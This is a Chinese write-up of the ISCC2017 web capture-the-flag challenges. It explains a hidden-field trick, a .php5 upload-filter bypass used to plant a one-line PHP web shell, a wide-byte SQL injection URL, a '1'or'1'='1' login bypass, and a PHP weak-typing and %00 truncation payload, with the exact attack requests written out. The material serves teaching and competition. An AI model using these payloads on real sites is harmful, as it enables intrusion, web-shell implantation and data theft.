ISCC2017 Web write up


打开连接:


注意You give me f1ag and I will give you flag too~~~

这段话有猫腻,没错就是f1agflag

提交f1ag


出现:,就给我一个flag我才不和你换呢。

右建查看元素。


发现有个输入框被隐藏了,把type=”hidden”改为type=””.

出现了输入框,并两个输入框输入f1ag.


出现:,就给我一个flag我才不和你换呢
还不够诚意,不和你换FLAG。

这句话暗示了FLAG.说明还要提交一个参数给FLAG(到这里就是考验脑洞了,最后一个话很灵性!)

接下来,给将参数f1ag赋给FLAG。


提交。


Flag: {N0w_go1Odo!otherw3b}


访问地址,是个上传框。


PhpApache环境,简单的一步步围绕xx.php.xx格式尝试有什么没有过滤掉。Apache解析漏洞对它不起作用。

最后确定,xx.php5(大于5)可以上传并解析。

上传一句话(这里是1.php5


菜刀连接成功。


获得信息,flag在数据库里边。

同样的方式上传我们的大马。

Sql搜索语句:SELECT*FROM flag


访问连接,在连接后面加flag.php


试了下,是宽字节注入,访问:

http://139.129.108.53:6980/web-08/?id=%df%27%20union%20select%201,unhex(hex(thisisflag))%20from%20flag%20limit%201--+


flag:{441b7fa1617307be9632263a4497871e}


打开连接。


用御剑扫描目录发现有robots.txt


发现路径,访问它。


尝试加个admin.php(也可用御剑扫)成功访问后台。


是后台管理登入界面,进去无非就暴力破解,万能密码,社工等。

使用万能密码逐个试。1’or’1’=’1



查看源码

$v1=0;$v2=0;$v3=0;

$a=(array)json_decode(@$_GET['iscc']);

 

if(is_array($a)){

    is_numeric(@$a["bar1"])?die("nope"):NULL;

    if(@$a["bar1"]){

        ($a["bar1"]>2016)?$v1=1:NULL;

    }

    if(is_array(@$a["bar2"])){

        if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");

        $pos = array_search("nudt", $a["bar2"]);

        $pos===false?die("nope"):NULL;

        foreach($a["bar2"] as $key=>$val){

            $val==="nudt"?die("nope"):NULL;

        }

        $v2=1;

 

    }

}

$c=@$_GET['cat'];

$d=@$_GET['dog'];

if(@$c[1]){

    if(!strcmp($c[1],$d) && $c[1]!==$d){

        eregi("3|1|c",$d.$c[0])?die("nope"):NULL;

        strpos(($c[0].$d), "isccctf2017")?$v3=1:NULL;

    }

}

if($v1 && $v2 && $v3){

   

   echo $flag;

}

可以看出iscc是一个jason对象。

这里用到了PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。 bar12017a即可

bar2是一个数组,长度是5,里边第一个元素是数组。bar2[[0],0,1,2,3]即可

arraystring进行strcmp比较的时候会返回一个null%00可以截断eregicat[0]=00isccctf2017&cat[1][]=1234&dog=%00

最后提交

?iscc={%22bar1%22:%222017e%22,%22bar2%22:[[1],1,2,3,0]}&cat[0]=00isccctf2017&cat[1][]=1234&dog=%00

flag{sfklljljdstuaft}






  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值